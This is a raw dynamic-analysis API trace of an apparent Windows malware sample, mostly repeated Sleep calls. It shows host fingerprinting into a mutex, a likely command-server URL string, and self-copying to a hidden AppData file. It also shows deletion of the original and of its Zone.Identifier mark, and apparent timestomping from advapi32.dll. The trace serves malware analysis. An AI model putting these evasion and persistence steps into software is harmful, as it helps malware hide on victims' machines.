Sleep (dwMilliseconds=0xa) [0136.739] Sleep (dwMilliseconds=0xa) [0136.752] Sleep (dwMilliseconds=0xa) [0136.762] Sleep (dwMilliseconds=0xa) [0136.799] Sleep (dwMilliseconds=0xa) [0136.809] Sleep (dwMilliseconds=0xa) [0136.820] Sleep (dwMilliseconds=0xa) [0136.830] Sleep (dwMilliseconds=0xa) [0136.853] Sleep (dwMilliseconds=0xa) [0136.926] Sleep (dwMilliseconds=0xa) [0137.000] Sleep (dwMilliseconds=0xa) [0137.084] Sleep (dwMilliseconds=0xa) [0137.239] Sleep (dwMilliseconds=0xa) [0137.250] Sleep (dwMilliseconds=0xa) [0137.260] Sleep (dwMilliseconds=0xa) [0137.271] Sleep (dwMilliseconds=0xa) [0137.282] Sleep (dwMilliseconds=0xa) [0137.292] Sleep (dwMilliseconds=0xa) [0137.303] Sleep (dwMilliseconds=0xa) [0137.419] Sleep (dwMilliseconds=0xa) [0137.519] Sleep (dwMilliseconds=0xa) [0137.583] Sleep (dwMilliseconds=0xa) [0137.612] Sleep (dwMilliseconds=0xa) [0137.659] Sleep (dwMilliseconds=0xa) [0137.669] Sleep (dwMilliseconds=0xa) [0137.680] Sleep (dwMilliseconds=0xa) [0137.691] Sleep (dwMilliseconds=0xa) [0137.702] Sleep (dwMilliseconds=0xa) [0137.802] Sleep (dwMilliseconds=0xa) [0137.813] Sleep (dwMilliseconds=0xa) [0137.824] Sleep (dwMilliseconds=0xa) [0137.846] Sleep (dwMilliseconds=0xa) [0137.857] Sleep (dwMilliseconds=0xa) [0137.946] Sleep (dwMilliseconds=0xa) [0138.054] Sleep (dwMilliseconds=0xa) [0138.155] Sleep (dwMilliseconds=0xa) [0138.169] Sleep (dwMilliseconds=0xa) [0138.181] Sleep (dwMilliseconds=0xa) [0138.192] Sleep (dwMilliseconds=0xa) [0138.202] Sleep (dwMilliseconds=0xa) [0138.213] Sleep (dwMilliseconds=0xa) [0138.226] Sleep (dwMilliseconds=0xa) [0138.236] Sleep (dwMilliseconds=0xa) [0138.247] Sleep (dwMilliseconds=0xa) [0138.257] Sleep (dwMilliseconds=0xa) [0138.406] Sleep (dwMilliseconds=0xa) [0138.417] Sleep (dwMilliseconds=0xa) [0138.428] Sleep (dwMilliseconds=0xa) [0138.439] Sleep (dwMilliseconds=0xa) [0138.602] Sleep (dwMilliseconds=0xa) [0138.615] Sleep (dwMilliseconds=0xa) [0138.626] Sleep (dwMilliseconds=0xa) [0138.637] Sleep (dwMilliseconds=0xa) [0138.678] Sleep (dwMilliseconds=0xa) [0138.774] Sleep (dwMilliseconds=0xa) [0138.785] Sleep (dwMilliseconds=0xa) [0138.795] Sleep (dwMilliseconds=0xa) [0138.805] Sleep (dwMilliseconds=0xa) [0138.817] Sleep (dwMilliseconds=0xa) [0138.828] Sleep (dwMilliseconds=0xa) [0138.838] Sleep (dwMilliseconds=0xa) [0138.853] Sleep (dwMilliseconds=0xa) [0138.934] Sleep (dwMilliseconds=0xa) [0138.951] Sleep (dwMilliseconds=0xa) [0138.962] Sleep (dwMilliseconds=0xa) [0138.995] Sleep (dwMilliseconds=0xa) [0139.069] Sleep (dwMilliseconds=0xa) [0139.104] Sleep (dwMilliseconds=0xa) [0139.114] Sleep (dwMilliseconds=0xa) [0139.124] Sleep (dwMilliseconds=0xa) [0139.154] Sleep (dwMilliseconds=0xa) [0139.164] Sleep (dwMilliseconds=0xa) [0139.215] Sleep (dwMilliseconds=0xa) [0139.226] Sleep (dwMilliseconds=0xa) [0139.237] Sleep (dwMilliseconds=0xa) [0139.314] Sleep (dwMilliseconds=0xa) [0139.325] Sleep (dwMilliseconds=0xa) [0139.336] Sleep (dwMilliseconds=0xa) [0139.346] Sleep (dwMilliseconds=0xa) [0139.357] Sleep (dwMilliseconds=0xa) [0139.368] Sleep (dwMilliseconds=0xa) [0139.394] Sleep (dwMilliseconds=0xa) [0139.405] Sleep (dwMilliseconds=0xa) [0139.462] Sleep (dwMilliseconds=0xa) [0139.612] Sleep (dwMilliseconds=0xa) [0139.659] Sleep (dwMilliseconds=0xa) [0139.738] Sleep (dwMilliseconds=0xa) [0139.748] Sleep (dwMilliseconds=0xa) [0139.759] Sleep (dwMilliseconds=0xa) [0139.821] Sleep (dwMilliseconds=0xa) [0139.831] Sleep (dwMilliseconds=0xa) [0139.842] Sleep (dwMilliseconds=0xa) [0139.879] Sleep (dwMilliseconds=0xa) [0139.890] Sleep (dwMilliseconds=0xa) [0139.902] Sleep (dwMilliseconds=0xa) [0139.913] Sleep (dwMilliseconds=0xa) [0139.924] Sleep (dwMilliseconds=0xa) [0139.935] Sleep (dwMilliseconds=0xa) [0139.946] Sleep (dwMilliseconds=0xa) [0139.956] Sleep (dwMilliseconds=0xa) [0139.967] Sleep (dwMilliseconds=0xa) [0140.154] Sleep (dwMilliseconds=0xa) [0140.180] Sleep (dwMilliseconds=0xa) [0140.208] Sleep (dwMilliseconds=0xa) [0140.220] Sleep (dwMilliseconds=0xa) [0140.231] Sleep (dwMilliseconds=0xa) [0140.242] Sleep (dwMilliseconds=0xa) [0140.254] Sleep (dwMilliseconds=0xa) [0140.265] Sleep (dwMilliseconds=0xa) [0140.276] Sleep (dwMilliseconds=0xa) [0140.287] Sleep (dwMilliseconds=0xa) [0140.353] Sleep (dwMilliseconds=0xa) [0140.459] Sleep (dwMilliseconds=0xa) [0140.490] Sleep (dwMilliseconds=0xa) [0140.502] Sleep (dwMilliseconds=0xa) [0140.513] Sleep (dwMilliseconds=0xa) [0140.545] Sleep (dwMilliseconds=0xa) [0140.557] Sleep (dwMilliseconds=0xa) [0140.567] Sleep (dwMilliseconds=0xa) [0140.583] Sleep (dwMilliseconds=0xa) [0140.594] Sleep (dwMilliseconds=0xa) [0140.734] Sleep (dwMilliseconds=0xa) [0140.745] Sleep (dwMilliseconds=0xa) [0140.758] Sleep (dwMilliseconds=0xa) [0140.769] Sleep (dwMilliseconds=0xa) [0140.793] Sleep (dwMilliseconds=0xa) [0140.803] Sleep (dwMilliseconds=0xa) [0140.814] Sleep (dwMilliseconds=0xa) [0140.824] Sleep (dwMilliseconds=0xa) [0140.835] Sleep (dwMilliseconds=0xa) [0140.845] Sleep (dwMilliseconds=0xa) [0140.856] Sleep (dwMilliseconds=0xa) [0140.941] Sleep (dwMilliseconds=0xa) [0140.952] Sleep (dwMilliseconds=0xa) [0140.963] Sleep (dwMilliseconds=0xa) [0140.974] Sleep (dwMilliseconds=0xa) [0140.989] Sleep (dwMilliseconds=0xa) [0141.000] Sleep (dwMilliseconds=0xa) [0141.011] Sleep (dwMilliseconds=0xa) [0141.113] Sleep (dwMilliseconds=0xa) [0141.138] Sleep (dwMilliseconds=0xa) [0141.159] Sleep (dwMilliseconds=0xa) [0141.273] Sleep (dwMilliseconds=0xa) [0141.314] Sleep (dwMilliseconds=0xa) [0141.325] Sleep (dwMilliseconds=0xa) [0141.343] Sleep (dwMilliseconds=0xa) [0141.354] Sleep (dwMilliseconds=0xa) [0141.364] Sleep (dwMilliseconds=0xa) [0141.417] Sleep (dwMilliseconds=0xa) [0141.428] Sleep (dwMilliseconds=0xa) [0141.439] Sleep (dwMilliseconds=0xa) [0141.476] Sleep (dwMilliseconds=0xa) [0141.487] Sleep (dwMilliseconds=0xa) [0141.497] Sleep (dwMilliseconds=0xa) [0141.581] Sleep (dwMilliseconds=0xa) [0141.632] Sleep (dwMilliseconds=0xa) [0141.671] Sleep (dwMilliseconds=0xa) [0141.715] Sleep (dwMilliseconds=0xa) [0141.736] Sleep (dwMilliseconds=0xa) [0141.747] Sleep (dwMilliseconds=0xa) [0141.757] Sleep (dwMilliseconds=0xa) [0141.767] Sleep (dwMilliseconds=0xa) [0141.792] Sleep (dwMilliseconds=0xa) [0141.802] Sleep (dwMilliseconds=0xa) [0141.813] Sleep (dwMilliseconds=0xa) [0141.931] Sleep (dwMilliseconds=0xa) [0141.943] Sleep (dwMilliseconds=0xa) [0141.953] Sleep (dwMilliseconds=0xa) [0141.968] Sleep (dwMilliseconds=0xa) [0141.984] Sleep (dwMilliseconds=0xa) [0141.994] Sleep (dwMilliseconds=0xa) [0142.005] Sleep (dwMilliseconds=0xa) [0142.015] Sleep (dwMilliseconds=0xa) [0142.026] Sleep (dwMilliseconds=0xa) [0142.037] Sleep (dwMilliseconds=0xa) [0142.047] Sleep (dwMilliseconds=0xa) [0142.058] Sleep (dwMilliseconds=0xa) [0142.220] Sleep (dwMilliseconds=0xa) [0142.252] Sleep (dwMilliseconds=0xa) [0142.263] Sleep (dwMilliseconds=0xa) [0142.275] Sleep (dwMilliseconds=0xa) [0142.287] Sleep (dwMilliseconds=0xa) [0142.298] Sleep (dwMilliseconds=0xa) [0142.310] Sleep (dwMilliseconds=0xa) [0142.321] Sleep (dwMilliseconds=0xa) [0142.360] Sleep (dwMilliseconds=0xa) [0142.494] Sleep (dwMilliseconds=0xa) [0142.554] Sleep (dwMilliseconds=0xa) [0142.565] Sleep (dwMilliseconds=0xa) [0142.576] Sleep (dwMilliseconds=0xa) [0142.672] Sleep (dwMilliseconds=0xa) [0142.694] Sleep (dwMilliseconds=0xa) [0142.743] Sleep (dwMilliseconds=0xa) [0142.851] Sleep (dwMilliseconds=0xa) [0142.862] Sleep (dwMilliseconds=0xa) [0142.873] Sleep (dwMilliseconds=0xa) [0142.884] Sleep (dwMilliseconds=0xa) [0142.896] Sleep (dwMilliseconds=0xa) [0142.975] Sleep (dwMilliseconds=0xa) [0142.998] Sleep (dwMilliseconds=0xa) [0143.127] Sleep (dwMilliseconds=0xa) [0143.267] Sleep (dwMilliseconds=0xa) [0143.278] Sleep (dwMilliseconds=0xa) [0143.289] Sleep (dwMilliseconds=0xa) [0143.299] Sleep (dwMilliseconds=0xa) [0143.335] Sleep (dwMilliseconds=0xa) [0143.346] Sleep (dwMilliseconds=0xa) [0143.357] Sleep (dwMilliseconds=0xa) [0143.431] Sleep (dwMilliseconds=0xa) [0143.441] Sleep (dwMilliseconds=0xa) [0143.453] Sleep (dwMilliseconds=0xa) [0143.463] Sleep (dwMilliseconds=0xa) [0143.479] Sleep (dwMilliseconds=0xa) [0143.492] Sleep (dwMilliseconds=0xa) [0143.503] Sleep (dwMilliseconds=0xa) [0143.676] Sleep (dwMilliseconds=0xa) [0143.687] Sleep (dwMilliseconds=0xa) [0143.697] Sleep (dwMilliseconds=0xa) [0143.728] Sleep (dwMilliseconds=0xa) [0143.739] Sleep (dwMilliseconds=0xa) [0143.749] Sleep (dwMilliseconds=0xa) [0143.760] Sleep (dwMilliseconds=0xa) [0143.770] Sleep (dwMilliseconds=0xa) [0143.781] Sleep (dwMilliseconds=0xa) [0143.791] Sleep (dwMilliseconds=0xa) [0143.802] Sleep (dwMilliseconds=0xa) [0143.813] Sleep (dwMilliseconds=0xa) [0143.823] Sleep (dwMilliseconds=0xa) [0143.899] Sleep (dwMilliseconds=0xa) [0143.999] Sleep (dwMilliseconds=0xa) [0144.193] Sleep (dwMilliseconds=0xa) [0144.218] Sleep (dwMilliseconds=0xa) [0144.258] Sleep (dwMilliseconds=0xa) [0144.268] Sleep (dwMilliseconds=0xa) [0144.279] Sleep (dwMilliseconds=0xa) [0144.291] Sleep (dwMilliseconds=0xa) [0144.599] Sleep (dwMilliseconds=0xa) [0144.609] Sleep (dwMilliseconds=0xa) [0144.620] Sleep (dwMilliseconds=0xa) [0144.630] Sleep (dwMilliseconds=0xa) [0144.641] Sleep (dwMilliseconds=0xa) [0144.651] Sleep (dwMilliseconds=0xa) [0144.662] Sleep (dwMilliseconds=0xa) [0144.673] Sleep (dwMilliseconds=0xa) [0144.683] Sleep (dwMilliseconds=0xa) [0144.694] Sleep (dwMilliseconds=0xa) [0144.856] Sleep (dwMilliseconds=0xa) [0144.867] Sleep (dwMilliseconds=0xa) [0144.878] Sleep (dwMilliseconds=0xa) [0144.922] Sleep (dwMilliseconds=0xa) [0144.933] Sleep (dwMilliseconds=0xa) [0144.945] Sleep (dwMilliseconds=0xa) [0144.956] Sleep (dwMilliseconds=0xa) [0144.966] Sleep (dwMilliseconds=0xa) [0145.056] Sleep (dwMilliseconds=0xa) [0145.136] Sleep (dwMilliseconds=0xa) [0145.147] Sleep (dwMilliseconds=0xa) [0145.159] Sleep (dwMilliseconds=0xa) [0145.169] Sleep (dwMilliseconds=0xa) [0145.182] Sleep (dwMilliseconds=0xa) [0145.305] Sleep (dwMilliseconds=0xa) [0145.339] Sleep (dwMilliseconds=0xa) [0145.378] Sleep (dwMilliseconds=0xa) [0145.496] Sleep (dwMilliseconds=0xa) [0145.529] Sleep (dwMilliseconds=0xa) [0145.540] Sleep (dwMilliseconds=0xa) [0145.551] Sleep (dwMilliseconds=0xa) [0145.561] Sleep (dwMilliseconds=0xa) [0145.572] Sleep (dwMilliseconds=0xa) [0145.583] Sleep (dwMilliseconds=0xa) [0145.687] Sleep (dwMilliseconds=0xa) [0145.731] Sleep (dwMilliseconds=0xa) [0145.769] Sleep (dwMilliseconds=0xa) [0145.843] Sleep (dwMilliseconds=0xa) [0145.853] Sleep (dwMilliseconds=0xa) [0145.864] Sleep (dwMilliseconds=0xa) [0145.876] Sleep (dwMilliseconds=0xa) [0145.887] Sleep (dwMilliseconds=0xa) [0145.897] Sleep (dwMilliseconds=0xa) [0145.908] Sleep (dwMilliseconds=0xa) [0145.919] Sleep (dwMilliseconds=0xa) [0145.929] Sleep (dwMilliseconds=0xa) [0145.940] Sleep (dwMilliseconds=0xa) [0146.002] Sleep (dwMilliseconds=0xa) [0146.014] GetSystemDirectoryA (in: lpBuffer=0x1004fde0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0146.014] lstrcatW (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" [0146.014] RtlGetVersion (in: lpVersionInformation=0x410457 | out: lpVersionInformation=0x410457*(dwOSVersionInfoSize=0x0, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 0x0 [0146.015] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1004fdc8 | out: TokenHandle=0x1004fdc8*=0x1eb4) returned 1 [0146.015] GetTokenInformation (in: TokenHandle=0x1eb4, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1004fdc0 | out: TokenInformation=0x0, ReturnLength=0x1004fdc0) returned 0 [0146.015] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x25) returned 0x9140830 [0146.015] GetTokenInformation (in: TokenHandle=0x1eb4, TokenInformationClass=0x19, TokenInformation=0x9140830, TokenInformationLength=0x1c, ReturnLength=0x1004fdc0 | out: TokenInformation=0x9140830, ReturnLength=0x1004fdc0) returned 1 [0146.015] GetSidSubAuthorityCount (pSid=0x9140840*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x9140841 [0146.015] GetSidSubAuthority (pSid=0x9140840*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x9140848 [0146.015] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0x25 [0146.016] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0146.016] CloseHandle (hObject=0x1eb4) returned 1 [0146.016] GetComputerNameA (in: lpBuffer=0x1004fe90, nSize=0x1004fed0 | out: lpBuffer="XC64ZB", nSize=0x1004fed0) returned 1 [0146.016] GetVolumeInformationA (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x1004fec0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1004fec0*=0xc287f38, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0146.016] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x29) returned 0x9140830 [0146.016] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x14) returned 0x9140870 [0146.017] wsprintfA (in: param_1=0x9140830, param_2="%s%08X%08X" | out: param_1="XC64ZB99FC78690C287F38") returned 22 [0146.017] CryptAcquireContextA (in: phProv=0x1004fe18, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1004fe18*=0x4a6f150) returned 1 [0146.038] CryptCreateHash (in: hProv=0x4a6f150, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x1004fe10 | out: phHash=0x1004fe10) returned 1 [0146.039] lstrlenA (lpString="XC64ZB99FC78690C287F38") returned 22 [0146.039] CryptHashData (hHash=0x83f1080, pbData=0x9140830, dwDataLen=0x16, dwFlags=0x0) returned 1 [0146.039] CryptGetHashParam (in: hHash=0x83f1080, dwParam=0x2, pbData=0x1004fe20, pdwDataLen=0x1004fe50, dwFlags=0x0 | out: pbData=0x1004fe20, pdwDataLen=0x1004fe50) returned 1 [0146.039] wsprintfA (in: param_1=0x41020c, param_2="%02X" | out: param_1="FE") returned 2 [0146.039] wsprintfA (in: param_1=0x41020e, param_2="%02X" | out: param_1="7F") returned 2 [0146.039] wsprintfA (in: param_1=0x410210, param_2="%02X" | out: param_1="15") returned 2 [0146.039] wsprintfA (in: param_1=0x410212, param_2="%02X" | out: param_1="06") returned 2 [0146.039] wsprintfA (in: param_1=0x410214, param_2="%02X" | out: param_1="0B") returned 2 [0146.039] wsprintfA (in: param_1=0x410216, param_2="%02X" | out: param_1="87") returned 2 [0146.039] wsprintfA (in: param_1=0x410218, param_2="%02X" | out: param_1="5F") returned 2 [0146.039] wsprintfA (in: param_1=0x41021a, param_2="%02X" | out: param_1="B9") returned 2 [0146.039] wsprintfA (in: param_1=0x41021c, param_2="%02X" | out: param_1="FB") returned 2 [0146.039] wsprintfA (in: param_1=0x41021e, param_2="%02X" | out: param_1="2A") returned 2 [0146.039] wsprintfA (in: param_1=0x410220, param_2="%02X" | out: param_1="49") returned 2 [0146.039] wsprintfA (in: param_1=0x410222, param_2="%02X" | out: param_1="F0") returned 2 [0146.039] wsprintfA (in: param_1=0x410224, param_2="%02X" | out: param_1="8D") returned 2 [0146.039] wsprintfA (in: param_1=0x410226, param_2="%02X" | out: param_1="5D") returned 2 [0146.040] wsprintfA (in: param_1=0x410228, param_2="%02X" | out: param_1="03") returned 2 [0146.040] wsprintfA (in: param_1=0x41022a, param_2="%02X" | out: param_1="12") returned 2 [0146.040] CryptDestroyHash (hHash=0x83f1080) returned 1 [0146.040] CryptReleaseContext (hProv=0x4a6f150, dwFlags=0x0) returned 1 [0146.040] wsprintfA (in: param_1=0x41022c, param_2="%08X" | out: param_1="0C287F38") returned 8 [0146.040] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140870) returned 0x14 [0146.040] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140870) returned 1 [0146.040] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0x29 [0146.040] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0146.041] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0xe) returned 0x9140830 [0146.041] wsprintfA (in: param_1=0x410dbe, param_2="%sFF" | out: param_1="FE7F15060B875FB9FB2A49F08D5D03120C287F38FF") returned 42 [0146.041] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0xe [0146.041] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0146.041] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned 0x1eb4 [0146.041] RtlGetLastWin32Error () returned 0x0 [0146.041] GetTickCount () returned 0xfdf3c7 [0146.041] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x1008) returned 0x9140830 [0146.041] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2e) returned 0x9141840 [0146.041] RegOpenKeyExA (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x1004fed8 | out: phkResult=0x1004fed8*=0x108c) returned 0x0 [0146.041] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x14) returned 0x9141880 [0146.041] RegQueryValueExA (in: hKey=0x108c, lpValueName="svcVersion", lpReserved=0x0, lpType=0x0, lpData=0x1004fe60, lpcbData=0x1004fec0*=0x20 | out: lpType=0x0, lpData=0x1004fe60*=0x31, lpcbData=0x1004fec0*=0xd) returned 0x0 [0146.041] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141880) returned 0x14 [0146.041] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141880) returned 1 [0146.042] lstrlenA (lpString="11.0.10586.0") returned 12 [0146.042] lstrlenA (lpString=".") returned 1 [0146.042] atoi (_Str="11") returned 11 [0146.042] RegCloseKey (hKey=0x108c) returned 0x0 [0146.042] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x2e [0146.042] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0146.042] ObtainUserAgentString (in: dwOption=0xb, pszUAOut=0x9140830, cbSize=0x1004fec0 | out: pszUAOut="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", cbSize=0x1004fec0) returned 0x0 [0146.081] lstrlenA (lpString="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko") returned 74 [0146.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9140830, cbMultiByte=75, lpWideCharStr=0x410577, cchWideChar=150 | out: lpWideCharStr="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko") returned 75 [0146.081] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140830) returned 0x1008 [0146.082] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140830) returned 1 [0146.082] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x1008) returned 0x9140830 [0146.082] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x1c) returned 0x9141840 [0146.082] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%", lpDst=0x9140830, nSize=0x105 | out: lpDst="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x26 [0146.082] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x1c [0146.082] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0146.082] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x16) returned 0x9141840 [0146.082] wsprintfW (in: param_1=0x4107a6, param_2="%s\\%hs" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 45 [0146.083] wsprintfW (in: param_1=0x410bb6, param_2="%s\\%hs" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa") returned 45 [0146.083] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x16 [0146.083] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0146.083] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x26) returned 0x9141840 [0146.083] lstrlenA (lpString="http://file-coin-host-12.com/") returned 29 [0146.083] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x9141840, Length=0x1d) returned 0x57488b3e [0146.083] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x26 [0146.083] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0146.083] lstrcmpW (lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 1 [0146.083] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih")) returned 0 [0146.084] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe"), lpNewFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), bFailIfExists=0) returned 1 [0147.003] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\08a6dfeb7adf5eb90703abfab6c1f24a9f93c79e6287213f695c44f0181644ec.exe")) returned 1 [0147.008] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9141840 [0147.008] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2a) returned 0x9141860 [0147.008] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x408) returned 0x91418a0 [0147.008] wsprintfW (in: param_1=0x91418a0, param_2="%s%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih:Zone.Identifier") returned 61 [0147.008] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih:zone.identifier")) returned 0 [0147.008] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91418a0) returned 0x408 [0147.009] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91418a0) returned 1 [0147.009] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x12 [0147.009] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0147.009] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141860) returned 0x2a [0147.010] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141860) returned 1 [0147.010] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x16) returned 0x9141840 [0147.010] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x210) returned 0x9141860 [0147.010] GetSystemDirectoryA (in: lpBuffer=0x9141860, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0147.010] lstrcatA (in: lpString1="C:\\Windows\\system32", lpString2="\\" | out: lpString1="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0147.010] lstrcatA (in: lpString1="C:\\Windows\\system32\\", lpString2="advapi32.dll" | out: lpString1="C:\\Windows\\system32\\advapi32.dll") returned="C:\\Windows\\system32\\advapi32.dll" [0147.010] SetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwFileAttributes=0x6) returned 1 [0147.010] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x1dc0 [0147.010] GetFileAttributesExA (in: lpFileName="C:\\Windows\\system32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll"), fInfoLevelId=0x0, lpFileInformation=0x1004fe30 | out: lpFileInformation=0x1004fe30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a16bf4b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1a16bf4b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1a16bf4b, 